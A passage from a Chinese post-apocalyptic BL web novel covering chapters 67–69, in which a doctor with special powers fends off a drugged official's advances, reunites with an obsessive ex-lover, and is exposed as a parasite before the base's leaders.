李青青嫌弃地在自己衣服擦了擦,一年多了,两人几乎是队伍里公认的一对,只是李青青不给他名分而已 “这次是伊部长组织的接风宴,邀请了这次来蓝天基地的代表团参加,李野行势必在列,你要不要去见见你的旧情人呢。”隗绍又在阴阳怪气,仿佛不刺江林几句,就根本老实不了。 “有的是机会再续前缘,不着急这一下。”江林慢吞吞说着,不甚在意的样子。 “那你不去咯?”隗绍问。 “嗯,去不了。”江林点了点头,林政钰要作妖,提前让他在休息室待命,以私人医生的身份。 隗绍犹豫了一瞬,“那我要不要也暂时回避?” “你真的怕他,像是老鼠见了猫似的,我都害怕给你机会你会不会拿不稳刀啊?”江林瞧不上他这没种的样子。 隗绍脸又黑了,谁让李野行前世给他的阴影太大了。 “放心,我一定碎尸万段!!” 江林不置可否,没再刺激他。 蓝天基地内,最近热闹非常,检测到最近丧尸潮和变异兽大幅度减少,倒也让许多人重燃希望。 虽然江林知道短暂平静之后又会迎来猛攻,却不妨碍暂时的平和美好。 林铭瑄最近正式进入军部,没有任何意外,凭借自己的威名不费吹灰之力地站稳脚跟,手下的人越来越多。 江林记得在原剧情他现阶段已经暴露了寄生者的身份,被关在研究院进行活体研究,而他被寄生的消息是他自己亲口告诉林政钰的。 现在一切都有了改变,林铭瑄的命运已经脱轨。 楼下舒缓的音乐,透过窗户传到江林耳中,他百无聊赖地在房间里吃东西,看蓝天日报,心中对林政钰的盘算有一些猜测,也做好了应对的手段。 偌大的舞池中,林政钰正在和一位漂亮的女士跳舞,她家世不错,是联邦军长的独女。 “我靠,老大,他们的范儿也太高了,不知道还以为我们真的在参加什么名流聚会呢,末世了还能看见这种场景,真是”许时语气中有些唏嘘,末世普通人吃饱穿不暖,而这里的食物流水般端上来,冷了就会被换掉。 李野行身上的枪暂时收起来,穿着棕色的大衣,唇角勾起轻蔑的笑:“这些人若是扔进丧尸群中,没两个能笑得出来。” “左边那位是伊朗,右边那位是林政钰,就是现在蓝天争权的两个”许时小声介绍。 “看起来就弱不拉几的,如果不是老大不感兴趣,我倒是感觉可以直接杀了,我们当老大。”彭晶在李野行面前就是个莽夫,什么话都敢说。 “啧,你小心点,很多人都听着呢。”许时提醒。 李野行百无聊赖喝着酒,视线扫了一周,和某个穿着军装的高大男人对上眼神,黑眸只是静静对上一瞬,又缓缓分开。 “老大,有个八卦,就是这个林政钰啊,他还有个双胞胎弟弟,双系异能者很强这不是最重要,最重要的是他们两个喜欢一个男人!!” “两人还因为这事儿大打出手呢,让很多人看了笑话。” 李野行脸上的轻蔑之色更甚了,“听你这么说,蓝天基地的确不过如此啊。” 林政钰看着助理给他递眼色,又将目光落在看似寻常的酒杯中,里面是下了料的。 他像是毫无所觉,喝了酒,简单交代几句,便离开了宴会 林铭瑄耳边传来私人管家的耳语,眉头拧紧,“大少爷喝了加料的酒,现在上楼去了” 他眸心一冷,牙关咬紧,他还以为林政钰能有多高明的手段呢! 他队伍的人不能动,都要在各个地方各司其职,维持秩序,这些从各地来的异能者,各怀鬼胎,不能不防,但让他袖手旁观,他也着实做不到 江林不意外地看着满脸潮红的林政钰,在接连被林铭瑄刺激之后,求胜心切又找不到问题的林政钰也决定学习他弟弟的手段——卖身。 林政钰让人守在门外,抬脚走到沙发旁坐下,“江林我好像生病了,身上好热啊。” “你这是被下药了部长。”江林皱眉,表情表示担忧,却没有主动靠近。 “是吗?”林政钰朝着他伸手,抓住他的衣摆,哑着嗓子问他:“那你愿意帮帮我吗?” 江林叹了一口气,“我是你的医生,当然会帮你。” 林政钰心中顿时一喜,唇角泛起笑容:“有你在,我什么都不会怕,很放心。” 林政钰朝着江林靠近,江林抬手揽住他的肩膀,按着他的后颈,不让他乱动:“先去浴室。” 林政钰想没想到江林还这么讲究,也好,他也喜欢干干净净地做,最好把林铭瑄留在江林身上的痕迹都洗干净。 江林松开扶着林政钰后背的手,眸色认真:“你把衣服脱掉,我给你放水。” 林政钰也喝了不少酒,现在酒劲药劲上来,浑身都热了起来,口干舌燥的,看着江林白嫩的后颈,恨不得直接咬上去。 江林给他放的是冰水,在林政钰扑上来的瞬间,转身抱着他的背,任由他在自己身上蹭了蹭,他安抚说道:“等下。” 林政钰已经吻上江林的脖子,意乱情迷、失去理智的模样。 直到被扔进冷水中,林政钰才猛地清醒,手腕不知道什么时候被皮带绑住,他张嘴的下一瞬,江林直接把林政钰自己脱下来的内裤塞进他嘴里,防止他叫人。 “忍忍部长,这种春/药一般泡泡冷水就好了,药效不会很强的” 林政钰怒目圆睁,脸上情迷之色散去,难以置信地看着他,他都脱光了,中药了,他都无动于衷? 他不信自己没有林铭瑄吸引力。 “我会一直陪着你的。”江林按住他挣扎的手腕,将人按进水中,顿时冷得他一哆嗦。 “我知道部长身不由己,现在这个时候绝对不能出任何的幺蛾子,您放心,有我在不会出任何意外。” 林政钰丹凤眼都睁圆,冷热交加,身体的热量像是要撑破肌肤爆炸,外面却有一层冰冷的水包裹着,生生压住他身体的燥热。 他的身体挣扎着,发出唔唔的声音,但江林直将他往水里按,动作有些重,连脸都陷入水中,水往他鼻孔里钻,呛得他两眼一黑。 那一刻,林政钰在想江林是想杀死他吗? 下一秒,江林又连忙将他拽起来,眼圈都红了,用那种心疼得要命的表情看着他,仿佛那个被折磨的人是他。 他摸着林政钰脸上的水珠,站在浴缸外,语气微涩:“对不起,对不起,但真的只能这样才能安全地熬过去” “不能让他们的陷害成真,部长,你坚持一下。” 林政钰不想坚持,他就想和江林干,但是他妈的他根本没有说话的机会。 最后他在冰水中瑟瑟发抖,骨头缝都冷得打颤,双眼盯着江林的脸,迸射出丝丝恨意。 他林政钰得不到的东西,就算毁掉也不会让给别人。他低声下气,放下身段求江林,但江林依旧不为所动,自尊心被碾碎,比不上林铭瑄这个认知让他心态失衡,因爱生恨,因爱生怨。 屋外也是一片激烈打斗,林政钰的保镖和林铭瑄缠斗在一起,难分伯仲。 林铭瑄一挑三都没有落下下层,面无表情地看着那些人,后面又加入了几位,林铭瑄背后被人狠狠踹了脚,蜂拥而上的人压住他。 他双手被反扣,压着他的膝盖跪在地上,暂时压制住了这只猛虎。 林铭瑄刚想使用异能,助理蹲下身,低声劝阻:“二少爷,您这是干什么?你确定这么闯进去江林会感谢你吗?下了料的酒是大少爷喝的,不是江林。大少爷强迫不了他,除非是他自愿” 林铭瑄听到这话,才像是失去了力气的人。 就算身后的人松开他,林铭瑄也保持着跪在地上的动作没动,目光紧盯着那扇门,拳头捏得很紧,咬破颊肉尝到血腥味。 第68章 若单说武力, 林政钰只是一个普通人,而江林是异能者,且这一年里从不间断地锻炼, 林政钰自然是比不上江林的。 一整夜,直到林政钰身体的温度降下来, 江林才将人扶到床上,彼时的林政钰脸色青白,不住发抖, 牙关在打颤,意识也不清晰。 下半夜, 江林准备出门去找助理联系另外一位私人医生,门一打开,不光看见了助理和保镖,连林铭瑄也站在不远处盯着他。 “部长好像有些不舒服,你让年医生来看看。”江林衣裳平整,面色如常, 低声说道。 但所有人都觉得这是他事后的游刃有余。 林铭瑄一言不发, 像是终于等到了一个结果, 转身离开。江林没有追,而是留下来照顾林政钰。 林政钰算是冻感冒的, 也只能吃了哑巴亏, 没有多说半个字,太丢脸了,迷迷糊糊视线扫过江林担忧的面容, 脑海中涌现很多怀疑,纷纷杂杂,无法串起来 林政钰没有休息, 一大早出现在行政大厦,脸色惨白,他是没有假期的。 “这是什么?”林政钰拿起桌上的纸条,神情有些玩味,上面写着关于李野行和江林的纠葛。 “去查查谁放在这里的。” 助理调了监控,找来了隗绍。 林政钰把玩着手中的纸条,抬眼看着隗绍,笑了:“我记得你,你是异化型异能者。” “对,我也是江林的前男友。”隗绍微笑回答,“但我现在只是您手中的一个小职员。” 林政钰靠在椅子上,“如果我没记错的话,你现在还住在江林家里。” 隗绍眉梢一挑,没想到林政钰私底下居然早就对他进行了调查,点头:“对,所以我想告诉您千万别被江林的表象骗了,他根本不像表面那么无害。” “是吗?”林政钰看了一眼助理:“把他调到我身边来。” 隗绍唇角一勾,江林不是说自己没用吗?那他总要给他一点颜色瞧瞧才好 江林两天没有看见林政钰了,他像是在他的生活中又重新消失,他想大概这次真的将林部长薄弱的自尊心狠狠打击到了吧。 “江林哥哥我学校要开家长会,你帮我去呗。”石林抓着江林的胳膊摇来摇去。 “你姐姐呢?”江林笑着问,“小心你姐姐吃醋了。” “不会的,姐姐她现在好忙,根本没时间管我的死活。”石林瘪嘴道。 江林望着小孩清秀的眉眼,现在基地的学院分为两种,一种是没有异能的小孩入学的,教授一些末世求生的知识。一种是有异能的小孩入学的,因材施教,将异能发挥到极致。 像石林的异能在百分之九十土地被污染的情况下,他的空间能种植水果蔬菜,且大概率能够升级大面积种植,只怕联邦都已经对他进行了暗中的保护。 移动的产粮仓库谁不喜欢? “好吧。”江林揉了揉他的脑袋,“什么时候?” “晚上,现在我们能一起出去逛一逛吗?”石林期待地看着他,他很无聊啊,每天回到家里都空无一人,好不容易抓到江林,不想让他离开。 江林只能无奈点头。 “休息休息,喝口茶。”两人在地下城逛了一圈,里面也有人在做些小生意,地下城秩序有条不紊,很多人都迁移到新建城区,不再显得拥挤。 两人正待在地下城门口的休息区,有免费的茶饮,一人仅限一杯,也算是基地做的慈善公益。 “刚刚那位是我在学校里最好的朋友,他是控制型异能者,最近觉醒的” 江林含笑听着他兴奋地描述在学校的趣事,眼前闪过一道人影,他微微偏头,对上彭晶的视线。 他表情有一瞬间的呆滞,旋即勾起唇,面色如常地看着窗户外的彭晶和许时。 石林也顺着他的视线看去,“卧槽!是他们!!” 显然他也没忘记那段在李野行手中苟且偷生的日子。 彭晶震惊一瞬,心下微沉,表情复杂。 许时却眼珠子都快凸出来了,整个人呆愣在原地,彭晶扯了他好几下才勉强回神:“我没看错吧,那是那是江林!” 江林不是被炸死了吗?! “走吧。”彭晶知道这一趟可能躲不过了,眼眸微微闪动,带着许时一起走了进去。 江林站起身,微笑伸出手:“好久不见,彭哥、许哥。” 彭晶伸手和他握了握,心中忍不住叹息世界真小啊。 许时脑袋还是懵的,看向石林,伸手狠狠揉了揉他的脑袋,“我操了,你小子也没死啊。” 这话说完,他便愣了一瞬,所有人以为他们死了,为什么他又还活着呢。 起初被惊喜冲昏了头脑,此刻却冷静分析起来,那么原因呼之欲出了,江林自己设计的一切。 许时看向彭晶沉默的脸,双眼微微睁大:“你真不怕死啊,彭晶。” “要不要喝点东西,免费的还不错。”江林相比之前的纯真稚嫩,脸上却更多了些沉稳,“我也没想到会在这里碰到你们。” 许时表情极为复杂,包含多种情绪,欲言又止,当初江林假死,老大颓废了大半年,现在都还没缓过来,喝醉就喊江林的名字,要去实验室挖江林的尸体。 所以他现在要不要将遇见江林的事情告诉他呢。 只怕老大会掘地三尺把江林抓出来的。 彭晶调整了一下情绪,露出一点久别重逢的笑容:“你看起来过得很不错。” 江林并没有多紧张,“前些天知道金溪基地会来人,当时还在想你们会不会来,没想到今天就遇到了,缘分真的很奇妙。” 许时深吸一口气,彭晶也面色如常地开口:“青青很想你们。” “我们也想她。”江林看了一下时间,抱歉道:“我要去给石林开家长会了,下次再聊?” “好。” 四人分开,许时压低声音,“你猜老大如果知道你偷偷把他们放走,你会不会死得很难看。” 彭晶那张平时吊儿郎当的脸上此刻都是严肃:“当时那种情况,你想让更多人成为韩悦吗?李野行已经疯了。” “他现在只会更疯!”许时太阳穴疯狂跳动,神情有些冷冽:“你现在最好祈祷他们两个永远不会碰面,否则第一个死的就是你!” 李野行对于背叛自己的人一向不会手软。 彭晶喉结滚动,说实话,不怕是不可能的,但当初做出这个决定的时候,就做好了被李野行弄死的准备 江林很意外,许时居然会隐瞒遇见他的事情,毕竟他在蓝天没有隐姓埋名,名声还挺大的,如果李野行想查只怕早就查到他的住处了。 只有一种可能李野行还不知道自己活着。 这几天江林过得像个透明人,林政钰向他施压,时不时会遇到各种小儿科的排挤,比如说医院转角就能听见他的谈资。 “不是,就是他啊?脚踩两条船?” “除了长得好看点有什么好的?” “他喜欢男人,以后可要给他少安排点男患者” 不知道是不是故意的,对于江林来说都无关痛痒。 比如说在训练室,林铭瑄最近在忙,他选择的场所一些不认识的人总会用一种异样的眼光打量着他。 那些目光带着恶意。 医院给他安排的工作排到后半夜也做不完,导致最近他的状态并不是很好。 “江哥,这是林队让我给你的。”小舟是跟在林铭瑄身边很久的治愈系异能者,第一次给林铭瑄治伤,就是小舟推荐的。 “最近林队忙得很,特意嘱咐我一定要把这个带到你手上。”小舟笑得灿烂,将手中的巧克力递到他手上。 他小声道:“最近有些闲言碎语您别理,林队说他会处理好的,您不要胡思乱想。” 江林笑了笑:“我没关系。” 他刚刚便听见小舟骂那群嚼舌根的男人们,斯斯文文的小舟骂得可凶了。 江林性格好,他们根本不怕得罪他。 只是原本一帆风顺的日子多了些波澜而已。 “最近队长在忙些什么?”江林和他闲聊了两句,一起往外走。 “最近来了很多其他基地的人,鱼龙混杂,需要排查很多危险物品和危险人物”小舟叹气,愁眉苦脸的:“还真查出不少东西来,很多人见不得蓝天基地好呢” 江林捧着保温杯,抬眼看见从电梯下来的林政钰,他身边簇拥着不少人,直直朝着自己走来。 “江林,你过来。”林政钰叫住想逃的江林,眉眼温和地看着他:“大家想进行一下武艺切磋,你身为曾经特调小队的中流砥柱刚好可以展示一下。” 这是在把江林放在火架上烤啊,以他的实力若是真的对上各基地的强者,那就是被揉搓的面饼,他如果真的输了让蓝天基地脸上无光,那些蓝天的异能者进而会对他产生芥蒂和不满。 但他还拒绝不了。 现在就有不少人打量的目光落在他身上。 “我们江林可是全能王,既能出任务杀变异兽,又是治愈系异能者,进可攻,退可守”林政钰身边的某个手下吹嘘着江林的厉害。 江林并未在其中看见李野行。 “那我倒想领教一下咯。”其中便有人搭腔道。 这些人在蓝天基地开完会,大部分时间都是闲置的,想要参观实验室、体验虚拟仓、想要各家异能者切磋,都是为了了解对方的深浅或者窃取自己没有的技术。 蓝天基地身为大基地,自然是要表现出该有的风度,大度分享。 江林站在擂台上的时候,面前站着的是一个肌肉大汉,五大三粗,周围一圈围满了人,静静观看比试。 他的视线扫过林政钰含笑的目光,眼底似带着丝丝狠意,故意刁难,想要将江林的翅膀折断。 他是力量型的异能者,不算什么突出的异能,但攻击力极强。 “久仰大名,小心了小伙子。”那人裸出的手臂布满伤痕,仿佛身上的徽章。 江林没有露怯,勾唇一笑:“好的。” 拳头带着强劲的罡风朝着他的脸扑面而来,他勉强躲过,第一次碰上这种纯力量型肉搏的异能者,抬手想要架住他的手臂,却直接被力量撞开 两人过了两招,江林明显呈现下风。 就在两人打得难舍难分之时,工作人员领着迟到的李野行一行人走了进来,李野行漫不经心的眉眼,原本不想来凑这个热闹的,他没兴趣看他们比来比去,嬉戏打闹,像在玩过家家。 但许时劝他,来都来了,不如都去看一看。 李野行双手插兜,散满的眼神落在灯光照耀的擂台上,想看看那个鬼在哗众取宠,但脚步豁然一顿,一只眼瞳微微睁大,另外一只义眼没有办法变化。 擂台上的男生,灯光下银色的发丝,身躯和对手如熊的身躯相比显得消瘦,他定睛一看,心脏猛地缩了缩,那熟悉的眉眼,唇红齿白的面容,犹如在梦中出现无数次的熟悉。 许时和彭晶顿时一惊,对视一眼,面色大变。 如果告诉他们江林也在这里,他们绝不会劝着李野行来的。 李野行心跳声砰砰作响,在耳膜震耳欲聋,脚步加快了几步,眨了眨眼,生怕自己白天出现幻觉。 江林居然没死?! 也是在这时,李野行发现了江林矫健的身姿比从前花拳绣腿好上不少,下一秒,还来不及求证是真是假,人群中就发生了骚乱。 江林站在台上,视线往下一瞥,发现是林政钰身边的小舟突然发生了异变,躯体被从胸膛撕裂,伸出漆黑满是粘液的黑手,直直朝着林政钰抓去。 江林来不及躲避对手的拳头,肩膀被打中,瞬间麻了麻。精神力控制寄生物的动作,这个间隙一跃下台,挡在林政钰面前,抬手拽着他的手。那身后伸出来的黑色掌心生长了尖牙红舌,咬向江林的脖子。 林政钰睁大了眼,看着近在咫尺江林,他义无反顾地挡在他身前,在他以为江林早就移情别恋、心灰意冷的时候。 他没想到会遇到这种意外,保镖也只带了一个,现在被人有意挡住,江林的脸印在他眼瞳,看见来势汹汹的黑色黏液,腐蚀性仿佛极强,融掉了地面,他下意识地说道:“小心” 江林拧着眉,按下他乱动的手,打定主意要保护他般。 他预想的伤痛没来,一具高大的身躯挡在他跟前,李野行拿长刀生生劈开了那道攻击,林政钰被迅速带离战场,临走前他伸手抓住江林的手腕,江林只是道:“你先走,部长。” 江林转身看着李野行的背影,恰好对上他偏转的视线。 江林张了张唇,没有说话,只是定定看着他,满眼复杂。 四周一片混乱,成了一锅粥,小舟是寄生者,身体四肢全部裂开,露出原本不成形的模样,液体腐蚀着人的骨肉。 恰好在这时,林铭瑄赶到,用精神力铸成无形屏障,将那团东西隔绝出空间,撞都撞不破,旋即由火系异能者配合放火。 寄生者身上冒起大火,他逐渐变成小舟的模样,刚刚还在给他送巧克力、为他打抱不平的小舟此刻被火烧得在地上打滚。 他痛苦的嘶吼和呻吟声响彻整个训练场地,活生生被烧死,林铭瑄只是冷眼旁观,控制着不让火势蔓延,江林扫过林铭瑄的脸,对待敌人,他都是秋风扫落叶般的无情。 逐渐没了声音,直到最后一丝血肉燃烧殆尽,混乱才平息。 林铭瑄转头,却发现江林已经没了踪影 某间空旷无人的训练室,江林被按着肩膀抵在墙上,刚刚受伤的肩膀隐隐生疼,他眼睛冒出一点泪光,李野行黑眸睨着他,视线强势在他脸上临摹、打转 还是那张漂亮得让人心悸的脸,熟悉的蓝眼,他不相信世界上有这么相像的两个人,连耳尖的痣都一模一样。 江林抿着唇,忍着疼,倔强的和他的视线对上,脖子被轻轻掐住,李野行桀骜的眉眼靠近,危险的眯起眼,一字一句道:“江林你他妈敢耍老子?!” 看见他这个人,李野行便瞬间想通了所有。 “假死好玩吗?”李野行拇指按住他的大动脉,微微施压,江林不适地蹙了蹙眉,伸手去掰他的手。 “我让你真死怎么样?”李野行气疯了,感觉自己像个傻子一般被耍得团团转,在金溪每天回他住过的烂房子,就是为了感受他残留的气息,怀恋他在的日子。 现在告诉他,这个没良心的小兔崽子根本没死,他活得好好的,成为大基地的顶梁柱,还当着他的面救另外的男人。 江林滚了滚喉结,勉强呼吸,他没有求饶,骨头硬得很:“你真的要杀死我吗?” “你真的舍得吗?” 李野行盯着他,听到这话恨不得直接掐死他一了百了,江林似乎吃准了他舍不得,毕竟将近百分之九十的攻略值不是假的。 “干得漂亮。”李野行卡着他的喉咙,让他的下巴微微扬起,低头咬了一口,用力让江林感觉到疼。 江林半点不惯着,抬手就是一巴掌。 又将李野行打蒙了,他不知道江林怎么能骗了人还这么理直气壮地甩人巴掌。 李野行瞬间红了眼,呼喝了一声:“江林!” 江林还未作出下一步动作,门从外面打开,两人暧昧的姿势就这样出现在林铭瑄眼前,林铭瑄身后还跟着几个队友以及许时几人。 江林下巴上还挂着李野行咬出的牙印。 “李老大这样对待我的队员是不是越界了?”林铭瑄面不改色,抬脚一步步朝着两人走来,军靴踩出细微的声响。 两人这几天正好认识了一下,都知道对方的身份,林铭瑄是第一个让李野行感觉到危险的男人。 江林的脖子得到解放,手腕却还是被李野行抓着。 “怎么?我怎么对我老婆,林队长也要管吗?”李野行咧嘴笑了笑,露出白森的牙齿,宣示主权,毫不客气。 林铭瑄身后的几人纷纷倒吸一口凉气,视线在三人身上来回转动。 林铭瑄的视线在江林身上扫过,心中越发难受,面上不显,他低声道:“李老大开什么玩笑,如果我没看错的话,你是男人,江医生也是男人,哪来老婆一说?” “同性恋不知道吗?”李野行不以为耻,反以为荣地扬起下巴,傲气得不行:“被我/操/不就是我老婆咯,管什么男女。” 林铭瑄脸上的沉稳几乎维持不住,李野行痞气十足,扒拉着江林的脸,当着林铭瑄的面,狠狠亲了一口。 “乖乖老婆,你说是不是?” 江林双手握了握拳,却不敢表现出太多的抗拒,毕竟李野行是个疯子,韩悦的前车之鉴,他真的怕李野行发起疯来乱杀人。 “你别发疯了。”江林擦了擦脸上的水痕,面色很冷静,看向林铭瑄露出一个安抚的笑容:“队长,我没事,我从前和他认识的。” 他不过是笑一下,李野行都嫉妒得发疯,捏着他的下巴,当着众人的面咬了一口他的嘴唇,然后不客气地说道:“为什么要对他笑?只能对我笑,江林。” 林铭瑄被这么挑衅,再好的脾气也忍无可忍,直接动手了。 李野行一手将江林护在身后,然后迅速还击,两人拳拳到肉,力量也不分伯仲,江林躲到旁边,害怕伤及无辜,蹙眉看着打在一起的两人。 林铭瑄一脚踹在李野行肚子上,下一秒,李野行就抱着他的脚,一百八十度大转弯,压在他身上,抬起拳头狠狠揍在他腰上 许时扶了扶额,摸了摸鼻子,头皮发麻:“我靠了,要不李野行能当老大呢,在人家基地都敢这么狂” 而林铭瑄的队友想去帮忙,又转念一想,若是真的动手帮忙,不就是以多胜少,队长倒是落下风了吗。 人越来越多,江林一个头两个大,让他们停下,两人像是聋了,半点听不进去 后来还是林政钰让人来把两人分开。 分开的下一秒,两人挣开束缚,来到江林身边,一人一只手抓着他的手腕,要把他直接分成两半。 林政钰惊魂未定,脸色微沉,刚刚寄生变异的小舟是林铭瑄身边的人,他天性多疑,对林铭瑄都有了一丝怀疑,此刻阴沉的表情,的确有些摄人。 “都给我松开手。”林政钰警告地看向林铭瑄。 林铭瑄看懂了他眼神中的威胁,咬牙松手。 林政钰冰冷的眼弯了弯,毫无笑意:“李首领,这里是蓝天不是金溪。” 李野行轻嗤一声,抓起江林的手背亲了亲才松开,视线直勾勾地挑衅着兄弟俩,当然还记得他们两兄弟争一人的八卦。 如果这人是江林,倒也显得合理了。 江林松了一口气,林政钰也算帮了他一个忙,他朝着林政钰走去,暂时避开这令人窒息的修罗场。 一场闹剧落下帷幕,江林跟着林政钰处理这次的事故,排查一切问题人员,怎么就这么巧,小舟在他身边变异?而他的保镖被人挡在后面,如果不是江林他真的会差点被杀死? 而且小舟身为寄生体平时完全没有露出任何异样,如果不是这次暴露,恐怕没有人会发现。 林铭瑄准备离开,李野行挡住他的去路,两人眼神锋芒毕露,众人心揪起来,都担心两人会再次打起来。 “你和我老婆什么关系?”李野行眯起眼。 林铭瑄面无表情地看着他,听到这个称呼只觉得烦躁。 第69章 林政钰有条不紊地对小舟进行调查, 同时查看监控查看挡住保镖的人到底是谁,但发现是其他基地的一个异能者,跟这件事毫无关系, 是无意地阻拦。 他对江林的感情大起大落,原本都已经跌入谷底, 现在又有冒出来其他的心思。仿佛那张明明说好要分手的人,最后又因为对象给的一点笑脸而浮想联翩。 江林却似乎浑不在意,做好事不留名, 直接从训练室离开,等林政钰想要寻找江林的时候, 人已经走了。 若即若离,怅然若失 江林趁着夜色开车回家,脑海中对隗绍所做的一切,都心知肚明,他看似在林政钰手下做事,但当初将他招募进来的人是伊朗, 他兜兜转转其实是伊朗的人。 小舟从一开始就是安插在他们身边的眼线, 寄不寄生不知道, 但如果真的是寄生,那么就和隗绍脱不了干系。 也许控制被寄生者也是他的能力之一? 这种行为虽然冒险, 但如果成功了, 收益也是巨大的,一劳永逸。 他缓缓眯起眼,暗色的光印在他眼底, 泛出幽蓝的光芒 江林回到家中,方向阳正在餐桌前吃面条,石欢姐弟没在家, 石欢去出任务,石林则是在学校休息。 至于隗绍不知道有没有回来。 “博士。”江林拉开他旁边凳子坐下。 方向阳看了他一眼,算是打了招呼。 “还有吃的吗?我也好饿啊。”江林盯着方向阳的脸,他依旧是一副波澜不惊的脸。 他二话不说去给江林煮面。 江林静静看着他的背影,忍不住在心中叹息,这个世界的确比之前的更加难了。 首先,薄情寡义的林政钰,野性难驯的李野行,感情淡漠的方向阳,还有一个两面三刀的隗绍,但不知道是算隗绍还是‘隗绍’。 江林更倾向于后者。 只有林铭瑄感情比较炙热真诚。 热乎乎的面刚吃一半,隗绍从外面回来,笑吟吟地和江林、方向阳打招呼:“晚上好,江林,方博士。” “今天你看见李野行了吗?”隗绍自来熟地扯开了椅子。 “嗯。”江林点了点头,埋头苦吃。 方向阳听见这个名字神情丝毫没有变化,收拾好碗筷回了房间。 “收拾李野行不能让他回金溪,最好是按死在蓝天。”江林放下筷子,用纸巾随意的擦了擦嘴。 隗绍弯唇一笑:“你放心好了,我有打算。” 江林没有做评价,起身徒留他一个人在客厅,蛇瞳缓缓眯起,眼底闪烁着阴狠 李野行第二天便登堂入室了,他找来了江林家中,带来的还有鼻青脸肿、奄奄一息的彭晶。 江林脸色铁青,伸手要去扶彭晶,但被李野行强硬地扣住胳膊。 “我这次没要他的命,江林。”他这话一出,好似还在邀宠般,求表扬的表情。 江林狠狠甩开他的手,想要去救彭晶。 “你再敢动一下,我马上踩爆他的脑袋。”李野行冷笑着,躺在地上的彭晶此刻昏迷不醒,口鼻都是血。 又是这种窒息的绑架。 “”江林捏紧了拳头:“我不动,但你最少让他去医院,让人来给他治伤” 李野行松开踩着彭晶背的脚,朝着红着眼的李青青看了一眼,李青青连忙把他扶起来,期间没有看一眼江林,似乎在怨恨他连累的彭晶。 江林表情苍白,咬紧牙,李野行还是一样地疯,那年雪地里毫无血色少年的脸又在眼前浮现。 “别这么紧张江林。”李野行大马金刀地坐在沙发上,双臂舒展,眼神却冷得很:“你还有我多少不知道的惊喜?” “隗绍、方向阳都和你住在一起?林家兄弟和你关系不浅,真够厉害的啊。” “我惦记你这么久,你倒是活得潇洒呢。” 李野行看向冷着脸的江林,丝毫不觉得自己的手段有任何问题,他杀不了江林,还杀不了其他人吗? “过来,坐我腿上。” 江林站如松,转身就要往外跑,一个闪身李野行便挡在他前面,抬手抓住他的手臂,手掐住他的下颌。 “你觉得你还能跑去哪里?” 江林自不量力的用精神力压向他,脑袋里尖锐的痛感一瞬间让李野行松了手,给了他逃跑的机会。 但下一秒,李野行忍着脑袋的抽痛,按住他的肩膀,不让他有半点逃离的机会。 李野行的手臂锁着江林的喉咙,嘴唇贴在他耳畔响起:“再跑,老子把你拖到街上去强/奸了,你信不信?” “你真恶心。”江林咬牙切齿,精神力覆盖时,发现了什么。 “你乖一点,我考虑温柔一点呢。”李野行用力捏着他的手腕。 江林身后突然冒出的触手穿透了李野行的腹部,李野行震惊地低下头,疼痛瞬间袭来,看着那怪异的触手,似乎在啃噬着他的血肉,血滴滴答答往下流。 他下意识地直接用刀斩断了那些东西,被斩断还在蠕动的触手显得极为诡异。 “你”李野行松开手,看着眼前熟悉又陌生的少年,他蓝眼冒着血红的眸光,脸色苍白扭曲,似乎有些慌乱。 “江林” 江林咬了咬唇,还没来得及收起自己的触手,便被身后射来的麻醉剂穿透了肩膀,伸手扯掉针管。 李野行抬眼,便瞧见门外不知道什么时候站立了很多人,林家兄弟等人全部都在,江林异样的模样暴露在众人眼前。 江林只觉得身体逐渐失去控制地倒下,眼皮缓缓闭上,倒在地上,脑海中呼唤了系统。 “现在不需要任何求证了吧,事实胜于雄辩,江林就是一只潜伏已久的寄生者”陌生的男声响起,一脸正义凛然。 “我建议将寄生种就地绞杀。” 风吹拂着众人的裤脚,神色各异,一时间无人应和,林铭瑄和林政钰脸色犹为难看,倒在地上的江林,身体里延展出来的深色触手还在蠕动爬行,空气中都是紧张的气息。 李野行率先反应过来,不顾被伤的身体,一人挡在江林面前,扯了扯唇角,笑道:“你在说什么鬼话?江林怎么会是寄生种呢,他只是异化异能而已,和你身边的隗绍一样。” “如果只是异能,那为什么从来没见他用过呢?为什么要遮遮掩掩,而且刚刚没有看错的话,你差点被他杀死。” “杀人的寄生种就该被剿灭。”伊朗看着林政钰微变吃瘪的表情,心情舒畅。 隗绍则慢吞吞开口,视线死死盯着李野行,声音不大不小的提醒:“领导们,江林可不止是简单的寄生种,他还是净化异能者,身体的研究价值比普通的变异种更强呢,不如废物利用,回馈人类。” 这话一出,李野行看向他的眼神几乎要杀死他,林铭瑄拳头缓缓捏紧,抬脚朝着江林走去,被伊朗叫住:“林铭瑄你要护着邪恶的寄生种吗?” “政钰啊,你可要管管你弟弟啊,现在联邦的检察官还在蓝天,如果被抓住把柄勾结寄生种那可就麻烦了。” 林政钰心底冰沉,难怪这些天伊朗这么不对劲,原来是在这等着他呢。 但这是死局,跟来的人不止他和林铭瑄的部下,更多的是基地小有权力的管理层,众所周知一个道理——非我族类,必有异心。 不管是在蓝天还是其他基地,寄生种都只有一条死路,没人会心软。 林铭瑄听不见耳边的声音,脑海中回想起江林说过的话,他做的假设,如果他被寄生 一切都有迹可循。 他是什么时候被寄生的,每次出任务江林都是和他一起的,并没有任何的异样。 难道是那次运输物资? 他为了救自己,才会 是了,那些恶心的触手当时他就见过一次。 所以这些天他喜欢上的人根本不是江林,是被寄生的躯壳吗? 寄生生物会模仿原主的性格和生活习性 “林铭瑄。”林政钰叫住他,提醒道:“那是寄生者。” 就算要救人,也不能当着这么多人的面救!那等于直接宣示了自己的立场。 林铭瑄对上李野行凶狠的眼神,眼底控制不住地生出恨意和偏执,他怪上了他,如果不是李野行,江林根本不会暴露。 他下意识的不想责怪江林一句。 李野行脸上毫无预兆的挨了一拳,他身上有伤,直接和林铭瑄扭打在一起。 他们两个人的意愿,不影响江林被人抬走。 李野行杀红了眼,一脚踹开林铭瑄,就要冲到人群中去抢人,被隗绍临空化成的蟒形阻止,两人厮打在一起。 新仇旧怨,都是杀招,李野行被重伤也丝毫不落下风,直到林铭瑄两人一起才将李野行控制住。 “他不是寄生种!”李野行双眼通红几乎滴血,嘴角沁出的鲜血让他显得狼狈,但眉眼间桀骜不驯。 “李野行你适可而止,否则金溪也保不住你。”隗绍见他这般狼狈,自然身心舒畅,轻轻踩过他的手指,压低声音说道。 他在故意刺激他 林铭瑄追上林政钰,坐进他车里,跟着前面的车去往江林被压送的地方,这次来的人不是林家兄弟的手下,沉着一张脸:“救他。” 林政钰额心跳了跳,轻嗤一声:“怎么救?众目睽睽之下伊朗不会放过他的,这是他拿捏我们的手段。” 